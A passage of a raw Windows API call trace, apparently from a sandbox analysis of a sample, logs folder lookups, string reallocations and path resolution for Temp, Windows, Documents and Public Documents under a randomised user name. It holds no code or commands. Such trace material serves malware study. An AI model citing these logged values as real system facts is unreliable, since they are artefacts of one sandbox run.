ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0 [0117.864] GetLastError () returned 0x12 [0117.864] FindClose (in: hFindFile=0x759060 | out: hFindFile=0x759060) returned 1 [0117.864] SysReAllocStringLen (in: pbstr=0x28f578*=0x0, psz="c:\\Users", len=0x8 | out: pbstr=0x28f578*="c:\\Users") returned 1 [0117.864] SysReAllocStringLen (in: pbstr=0x28f8e0*="c:\\Users", psz="c:\\Users\\", len=0x9 | out: pbstr=0x28f8e0*="c:\\Users\\") returned 1 [0117.864] SysReAllocStringLen (in: pbstr=0x28f584*="users", psz="5p5nrg~1", len=0x8 | out: pbstr=0x28f584*="5p5nrg~1") returned 1 [0117.864] FindFirstFileW (in: lpFileName="c:\\Users\\5p5nrg~1", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x759060 [0117.864] FindNextFileW (in: hFindFile=0x759060, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0 [0117.864] GetLastError () returned 0x12 [0117.864] FindClose (in: hFindFile=0x759060 | out: hFindFile=0x759060) returned 1 [0117.865] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz", len=0x1d | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz") returned 1 [0117.865] SysReAllocStringLen (in: pbstr=0x28f8e0*="c:\\Users\\5p5NrGJn0jS HALPmcxz", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\", len=0x1e | out: pbstr=0x28f8e0*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 1 [0117.865] SysReAllocStringLen (in: pbstr=0x28f584*="5p5nrg~1", psz="appdata", len=0x7 | out: pbstr=0x28f584*="appdata") returned 1 [0117.865] FindFirstFileW (in: lpFileName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\appdata", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 0x7590b8 [0117.865] FindNextFileW (in: hFindFile=0x7590b8, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 0 [0117.865] GetLastError () returned 0x12 [0117.865] FindClose (in: hFindFile=0x7590b8 | out: hFindFile=0x7590b8) returned 1 [0117.865] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", len=0x25 | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData") returned 1 [0117.865] SysReAllocStringLen (in: pbstr=0x28f8e0*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\", len=0x26 | out: pbstr=0x28f8e0*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned 1 [0117.865] SysReAllocStringLen (in: pbstr=0x28f584*="appdata", psz="local", len=0x5 | out: pbstr=0x28f584*="local") returned 1 [0117.865] FindFirstFileW (in: lpFileName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\local", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 0x758f00 [0117.865] FindNextFileW (in: hFindFile=0x758f00, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 0 [0117.865] GetLastError () returned 0x12 [0117.865] FindClose (in: hFindFile=0x758f00 | out: hFindFile=0x758f00) returned 1 [0117.866] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", len=0x2b | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 1 [0117.866] SysReAllocStringLen (in: pbstr=0x28f8e0*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\", len=0x2c | out: pbstr=0x28f8e0*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\") returned 1 [0117.866] SysReAllocStringLen (in: pbstr=0x28f584*="local", psz="temp", len=0x4 | out: pbstr=0x28f584*="temp") returned 1 [0117.866] FindFirstFileW (in: lpFileName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\temp", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x8d87a660, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8d87a660, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 0x758f00 [0117.866] FindNextFileW (in: hFindFile=0x758f00, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x8d87a660, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8d87a660, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 0 [0117.866] GetLastError () returned 0x12 [0117.866] FindClose (in: hFindFile=0x758f00 | out: hFindFile=0x758f00) returned 1 [0117.866] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp", len=0x30 | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp") returned 1 [0117.866] SysReAllocStringLen (in: pbstr=0x28f8e0*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", len=0x31 | out: pbstr=0x28f8e0*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned 1 [0117.867] SysReAllocStringLen (in: pbstr=0x28f574*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", len=0x31 | out: pbstr=0x28f574*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned 1 [0117.867] SysReAllocStringLen (in: pbstr=0x28f8e0*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp", len=0x30 | out: pbstr=0x28f8e0*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp") returned 1 [0117.867] SysReAllocStringLen (in: pbstr=0x28f8e4*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp", len=0x30 | out: pbstr=0x28f8e4*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp") returned 1 [0117.867] SysReAllocStringLen (in: pbstr=0x4605fc*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", len=0x31 | out: pbstr=0x4605fc*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned 1 [0117.867] GetWindowsDirectoryW (in: lpBuffer=0x460630, uSize=0xfffe | out: lpBuffer="C:\\Windows") returned 0xa [0117.867] CharLowerBuffW (in: lpsz="C:\\Windows", cchLength=0xa | out: lpsz="c:\\windows") returned 0xa [0117.867] SysReAllocStringLen (in: pbstr=0x470638*=0x0, psz="c:\\windows", len=0xa | out: pbstr=0x470638*="c:\\windows") returned 1 [0117.867] SysReAllocStringLen (in: pbstr=0x47063c*=0x0, psz="c:", len=0x2 | out: pbstr=0x47063c*="c:") returned 1 [0117.868] SysReAllocStringLen (in: pbstr=0x47065c*=0x0, psz="windows", len=0x7 | out: pbstr=0x47065c*="windows") returned 1 [0117.868] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows1ata", lpUsedDefaultChar=0x0) returned 7 [0117.868] SysReAllocStringLen (in: pbstr=0x28f58c*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f58c*="c:") returned 1 [0117.868] SysReAllocStringLen (in: pbstr=0x28f8d4*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f8d4*="c:\\") returned 1 [0117.868] SysReAllocStringLen (in: pbstr=0x28f584*=0x0, psz="windows", len=0x7 | out: pbstr=0x28f584*="windows") returned 1 [0117.868] FindFirstFileW (in: lpFileName="c:\\windows", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x93503da0, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x93503da0, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0x758ea8 [0117.868] FindNextFileW (in: hFindFile=0x758ea8, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x93503da0, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x93503da0, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0 [0117.868] GetLastError () returned 0x12 [0117.868] FindClose (in: hFindFile=0x758ea8 | out: hFindFile=0x758ea8) returned 1 [0117.868] SysReAllocStringLen (in: pbstr=0x28f578*=0x0, psz="c:\\Windows", len=0xa | out: pbstr=0x28f578*="c:\\Windows") returned 1 [0117.868] SysReAllocStringLen (in: pbstr=0x28f8d4*="c:\\Windows", psz="c:\\Windows\\", len=0xb | out: pbstr=0x28f8d4*="c:\\Windows\\") returned 1 [0117.869] SysReAllocStringLen (in: pbstr=0x28f574*=0x0, psz="c:\\Windows\\", len=0xb | out: pbstr=0x28f574*="c:\\Windows\\") returned 1 [0117.869] SysReAllocStringLen (in: pbstr=0x28f8d4*="c:\\Windows\\", psz="c:\\Windows", len=0xa | out: pbstr=0x28f8d4*="c:\\Windows") returned 1 [0117.869] SysReAllocStringLen (in: pbstr=0x28f8d8*=0x0, psz="c:\\Windows", len=0xa | out: pbstr=0x28f8d8*="c:\\Windows") returned 1 [0117.869] SysReAllocStringLen (in: pbstr=0x4605ec*=0x0, psz="c:\\Windows\\", len=0xb | out: pbstr=0x4605ec*="c:\\Windows\\") returned 1 [0117.869] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x460630 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned 0x0 [0117.873] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", cchLength=0x27 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\documents") returned 0x27 [0117.873] SysReAllocStringLen (in: pbstr=0x470638*=0x0, psz="c:\\users\\5p5nrgjn0js halpmcxz\\documents", len=0x27 | out: pbstr=0x470638*="c:\\users\\5p5nrgjn0js halpmcxz\\documents") returned 1 [0117.873] SysReAllocStringLen (in: pbstr=0x47063c*=0x0, psz="c:", len=0x2 | out: pbstr=0x47063c*="c:") returned 1 [0117.873] SysReAllocStringLen (in: pbstr=0x47065c*=0x0, psz="users", len=0x5 | out: pbstr=0x47065c*="users") returned 1 [0117.873] SysReAllocStringLen (in: pbstr=0x47067c*=0x0, psz="5p5nrgjn0js halpmcxz", len=0x14 | out: pbstr=0x47067c*="5p5nrgjn0js halpmcxz") returned 1 [0117.873] SysReAllocStringLen (in: pbstr=0x470688*=0x0, psz="documents", len=0x9 | out: pbstr=0x470688*="documents") returned 1 [0117.873] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="users", cchWideChar=5, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="userså(", lpUsedDefaultChar=0x0) returned 5 [0117.873] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="5p5nrgjn0js halpmcxz", cchWideChar=20, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5p5nrgjn0js halpmcxz", lpUsedDefaultChar=0x0) returned 20 [0117.873] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="documents", cchWideChar=9, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="documentsjs halpmcxz", lpUsedDefaultChar=0x0) returned 9 [0117.874] SysReAllocStringLen (in: pbstr=0x28f58c*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f58c*="c:") returned 1 [0117.874] SysReAllocStringLen (in: pbstr=0x28f8c8*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f8c8*="c:\\") returned 1 [0117.874] SysReAllocStringLen (in: pbstr=0x28f584*=0x0, psz="users", len=0x5 | out: pbstr=0x28f584*="users") returned 1 [0117.874] FindFirstFileW (in: lpFileName="c:\\users", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x759790 [0117.874] FindNextFileW (in: hFindFile=0x759790, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0 [0117.874] GetLastError () returned 0x12 [0117.874] FindClose (in: hFindFile=0x759790 | out: hFindFile=0x759790) returned 1 [0117.875] SysReAllocStringLen (in: pbstr=0x28f578*=0x0, psz="c:\\Users", len=0x8 | out: pbstr=0x28f578*="c:\\Users") returned 1 [0117.875] SysReAllocStringLen (in: pbstr=0x28f8c8*="c:\\Users", psz="c:\\Users\\", len=0x9 | out: pbstr=0x28f8c8*="c:\\Users\\") returned 1 [0117.875] SysReAllocStringLen (in: pbstr=0x28f584*="users", psz="5p5nrgjn0js halpmcxz", len=0x14 | out: pbstr=0x28f584*="5p5nrgjn0js halpmcxz") returned 1 [0117.875] FindFirstFileW (in: lpFileName="c:\\Users\\5p5nrgjn0js halpmcxz", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x759790 [0117.876] FindNextFileW (in: hFindFile=0x759790, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0 [0117.876] GetLastError () returned 0x12 [0117.876] FindClose (in: hFindFile=0x759790 | out: hFindFile=0x759790) returned 1 [0117.876] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz", len=0x1d | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz") returned 1 [0117.876] SysReAllocStringLen (in: pbstr=0x28f8c8*="c:\\Users\\5p5NrGJn0jS HALPmcxz", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\", len=0x1e | out: pbstr=0x28f8c8*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 1 [0117.876] SysReAllocStringLen (in: pbstr=0x28f584*="5p5nrgjn0js halpmcxz", psz="documents", len=0x9 | out: pbstr=0x28f584*="documents") returned 1 [0117.876] FindFirstFileW (in: lpFileName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\documents", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa16178f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa16178f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 0x7597e8 [0117.876] FindNextFileW (in: hFindFile=0x7597e8, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa16178f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa16178f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 0 [0117.876] GetLastError () returned 0x12 [0117.876] FindClose (in: hFindFile=0x7597e8 | out: hFindFile=0x7597e8) returned 1 [0117.877] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", len=0x27 | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned 1 [0117.877] SysReAllocStringLen (in: pbstr=0x28f8c8*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", len=0x28 | out: pbstr=0x28f8c8*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned 1 [0117.878] SysReAllocStringLen (in: pbstr=0x28f574*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", len=0x28 | out: pbstr=0x28f574*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned 1 [0117.878] SysReAllocStringLen (in: pbstr=0x28f8c8*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", len=0x27 | out: pbstr=0x28f8c8*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned 1 [0117.878] SysReAllocStringLen (in: pbstr=0x28f8cc*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", len=0x27 | out: pbstr=0x28f8cc*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned 1 [0117.879] SysReAllocStringLen (in: pbstr=0x4605e8*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", len=0x28 | out: pbstr=0x4605e8*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned 1 [0117.879] SHGetFolderPathW (in: hwnd=0x0, csidl=46, hToken=0x0, dwFlags=0x0, pszPath=0x460630 | out: pszPath="C:\\Users\\Public\\Documents") returned 0x0 [0117.880] CharLowerBuffW (in: lpsz="C:\\Users\\Public\\Documents", cchLength=0x19 | out: lpsz="c:\\users\\public\\documents") returned 0x19 [0117.880] SysReAllocStringLen (in: pbstr=0x470638*=0x0, psz="c:\\users\\public\\documents", len=0x19 | out: pbstr=0x470638*="c:\\users\\public\\documents") returned 1 [0117.880] SysReAllocStringLen (in: pbstr=0x47063c*=0x0, psz="c:", len=0x2 | out: pbstr=0x47063c*="c:") returned 1 [0117.881] SysReAllocStringLen (in: pbstr=0x47065c*=0x0, psz="users", len=0x5 | out: pbstr=0x47065c*="users") returned 1 [0117.881] SysReAllocStringLen (in: pbstr=0x47067c*=0x0, psz="public", len=0x6 | out: pbstr=0x47067c*="public") returned 1 [0117.881] SysReAllocStringLen (in: pbstr=0x470688*=0x0, psz="documents", len=0x9 | out: pbstr=0x470688*="documents") returned 1 [0117.881] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="users", cchWideChar=5, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="userså(", lpUsedDefaultChar=0x0) returned 5 [0117.881] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="public", cchWideChar=6, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="public(", lpUsedDefaultChar=0x0) returned 6 [0117.881] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="documents", cchWideChar=9, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="documents7ou0å(", lpUsedDefaultChar=0x0) returned 9 [0117.881] SysReAllocStringLen (in: pbstr=0x28f58c*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f58c*="c:") returned 1 [0117.881] SysReAllocStringLen (in: pbstr=0x28f8bc*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f8bc*="c:\\") returned 1 [0117.881] SysReAllocStringLen (in: pbstr=0x28f584*=0x0, psz="users", len=0x5 | out: pbstr=0x28f584*="users") returned 1 [0117.881] FindFirstFileW (in: lpFileName="c:\\users", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x75a920 [0117.882] FindNextFileW (in: hFindFile=0x75a920, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0 [0117.882] GetLastError () returned 0x12 [0117.882] FindClose (in: hFindFile=0x75a920 | out: hFindFile=0x75a920) returned 1 [0117.882] SysReAllocStringLen (in: pbstr=0x28f578*=0x0, psz="c:\\Users", len=0x8 | out: pbstr=0x28f578*="c:\\Users") returned 1 [0117.882] SysReAllocStringLen (in: pbstr=0x28f8bc*="c:\\Users", psz="c:\\Users\\", len=0x9 | out: pbstr=0x28f8bc*="c:\\Users\\") returned 1 [0117.882] SysReAllocStringLen (in: pbstr=0x28f584*="users", psz="public", len=0x6 | out: pbstr=0x28f584*="public") returned 1 [0117.882] FindFirstFileW (in: lpFileName="c:\\Users\\public", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 0x75a920 [0117.882] FindNextFileW (in: hFindFile=0x75a920, lpFindFileData=0x28f5b0 | out: 